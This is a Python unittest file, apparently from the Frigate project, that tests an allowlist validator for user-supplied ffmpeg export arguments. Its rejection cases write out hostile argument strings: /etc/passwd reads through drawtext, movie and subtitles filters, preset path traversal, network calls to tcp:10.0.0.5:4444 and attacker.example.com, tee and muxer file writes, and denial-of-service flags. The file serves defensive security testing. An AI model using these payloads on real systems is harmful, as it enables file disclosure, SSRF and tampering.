mirror of
https://github.com/blakeblackshear/frigate.git
synced 2026-06-21 11:51:53 +03:00
Some checks are pending
CI / Synaptics Build (push) Blocked by required conditions
CI / AMD64 Build (push) Waiting to run
CI / ARM Build (push) Waiting to run
CI / Jetson Jetpack 6 (push) Waiting to run
CI / AMD64 Extra Build (push) Blocked by required conditions
CI / ARM Extra Build (push) Blocked by required conditions
CI / Assemble and push default build (push) Blocked by required conditions
* use allowlist for custom export ffmpeg args * reject brackets in export filtergraph validation instead of stripping link labels
133 lines
5.4 KiB
Python
133 lines
5.4 KiB
Python
import unittest
|
|
|
|
from frigate.record.export import validate_ffmpeg_args
|
|
|
|
|
|
class TestValidateFfmpegArgs(unittest.TestCase):
|
|
"""Tests for the non-admin custom export ffmpeg arg validator.
|
|
|
|
The validator uses a structural allowlist: every token must be an
|
|
allowlisted flag or the value of one, filter values are restricted to a
|
|
safe set of filters, and no token may become a bare input/output URL.
|
|
"""
|
|
|
|
def assertRejected(self, args: str) -> None:
|
|
valid, message = validate_ffmpeg_args(args)
|
|
self.assertFalse(valid, f"expected {args!r} to be rejected")
|
|
self.assertNotEqual(message, "")
|
|
|
|
def assertAllowed(self, args: str) -> None:
|
|
valid, message = validate_ffmpeg_args(args)
|
|
self.assertTrue(valid, f"expected {args!r} to be allowed, got: {message}")
|
|
self.assertEqual(message, "")
|
|
|
|
# --- legitimate use cases must keep working ---------------------------
|
|
|
|
def test_timelapse_setpts_allowed(self):
|
|
# The whole reason -vf cannot simply be blocked: timelapse exports.
|
|
self.assertAllowed("-vf setpts=PTS/60 -r 25")
|
|
self.assertAllowed("-vf setpts=0.04*PTS -r 30") # server default
|
|
self.assertAllowed("-filter:v setpts=PTS/60 -r 25")
|
|
|
|
def test_default_input_args_allowed(self):
|
|
self.assertAllowed("")
|
|
self.assertAllowed("-an -skip_frame nokey")
|
|
|
|
def test_encoding_args_allowed(self):
|
|
self.assertAllowed("-c:v libx264 -crf 23 -preset fast")
|
|
self.assertAllowed("-c:v copy -c:a copy")
|
|
self.assertAllowed("-c:v libx264 -b:v 2M -maxrate 2M -bufsize 4M")
|
|
self.assertAllowed("-movflags +faststart")
|
|
self.assertAllowed("-pix_fmt yuv420p -r 30 -g 30")
|
|
|
|
def test_safe_filters_allowed(self):
|
|
self.assertAllowed("-vf scale=640:480")
|
|
self.assertAllowed("-vf scale=640:480,setpts=0.5*PTS")
|
|
self.assertAllowed("-vf format=yuv420p")
|
|
self.assertAllowed("-vf transpose=1")
|
|
self.assertAllowed("-vf hflip")
|
|
self.assertAllowed("-vf fps=15")
|
|
self.assertAllowed("-vf setsar=1 -an")
|
|
self.assertAllowed("-vf setdar=16/9")
|
|
|
|
# --- the reported advisory and file-read class ------------------------
|
|
|
|
def test_reported_advisory_rejected(self):
|
|
self.assertRejected(
|
|
"-filter:v drawtext=textfile=/etc/passwd:fontcolor=white:fontsize=20"
|
|
)
|
|
|
|
def test_file_reading_filters_rejected(self):
|
|
self.assertRejected("-vf movie=/etc/passwd")
|
|
self.assertRejected("-vf drawtext=textfile=/etc/passwd")
|
|
self.assertRejected("-vf subtitles=/etc/passwd")
|
|
# marker embedded as an option of an otherwise-allowed filter name
|
|
self.assertRejected("-vf scale=movie=/etc/passwd")
|
|
|
|
def test_filtergraph_brackets_rejected(self):
|
|
# link labels aren't needed for safe filters; rejecting "[" / "]" keeps
|
|
# filtergraph validation linear (no ReDoS on attacker input)
|
|
self.assertRejected("-vf [in]scale=640:480[out]")
|
|
self.assertRejected("-vf " + "[" * 5000)
|
|
|
|
def test_preset_file_read_rejected(self):
|
|
# cwd-anchored traversal slipped past the old startswith() path check
|
|
self.assertRejected("-fpre frigate/../../../etc/passwd")
|
|
self.assertRejected("-fpre evil.preset")
|
|
self.assertRejected("-vpre x")
|
|
self.assertRejected("-apre x")
|
|
self.assertRejected("-pre x")
|
|
|
|
def test_slash_option_file_read_rejected(self):
|
|
# ffmpeg "-/option file" reads the option value from a file
|
|
self.assertRejected("-/filter:v graph.txt")
|
|
self.assertRejected("-/filter_complex graph.txt")
|
|
|
|
# --- network / SSRF class ---------------------------------------------
|
|
|
|
def test_schemeless_protocol_rejected(self):
|
|
self.assertRejected("-f mpegts tcp:10.0.0.5:4444")
|
|
self.assertRejected("tcp:10.0.0.5:4444")
|
|
self.assertRejected("udp:10.0.0.5:4444")
|
|
self.assertRejected("-progress http:attacker.example.com:80/p")
|
|
|
|
# --- file-write class --------------------------------------------------
|
|
|
|
def test_tee_write_rejected(self):
|
|
self.assertRejected("-c:v libx264 -map 0 -f tee [f=mpegts]/tmp/owned.ts")
|
|
self.assertRejected("-f tee [f=mpegts]/etc/frigate/x.ts")
|
|
self.assertRejected("tee:/tmp/x")
|
|
|
|
def test_bare_output_token_rejected(self):
|
|
self.assertRejected("evil.mp4")
|
|
self.assertRejected("-c copy evil.mp4")
|
|
self.assertRejected("x/../escaped.mkv")
|
|
|
|
def test_file_producing_muxers_rejected(self):
|
|
self.assertRejected("-f hls -hls_segment_filename pwn%03d.ts out.m3u8")
|
|
self.assertRejected("-f md5 victim.txt")
|
|
self.assertRejected("-f segment seg%03d.ts")
|
|
|
|
def test_write_flags_rejected(self):
|
|
self.assertRejected("-progress evil.log")
|
|
self.assertRejected("-stats_enc_pre evil.csv")
|
|
self.assertRejected("-report")
|
|
|
|
# --- resource exhaustion / misc ---------------------------------------
|
|
|
|
def test_dos_input_flags_rejected(self):
|
|
self.assertRejected("-stream_loop -1")
|
|
self.assertRejected("-readrate 0.001")
|
|
|
|
def test_disallowed_flags_rejected(self):
|
|
self.assertRejected("-map 0")
|
|
self.assertRejected("-i /etc/passwd")
|
|
self.assertRejected("-attach evil.bin")
|
|
self.assertRejected("-dump_attachment evil.bin")
|
|
self.assertRejected("/etc/passwd")
|
|
self.assertRejected("-metadata comment=x")
|
|
|
|
|
|
if __name__ == "__main__":
|
|
unittest.main()
|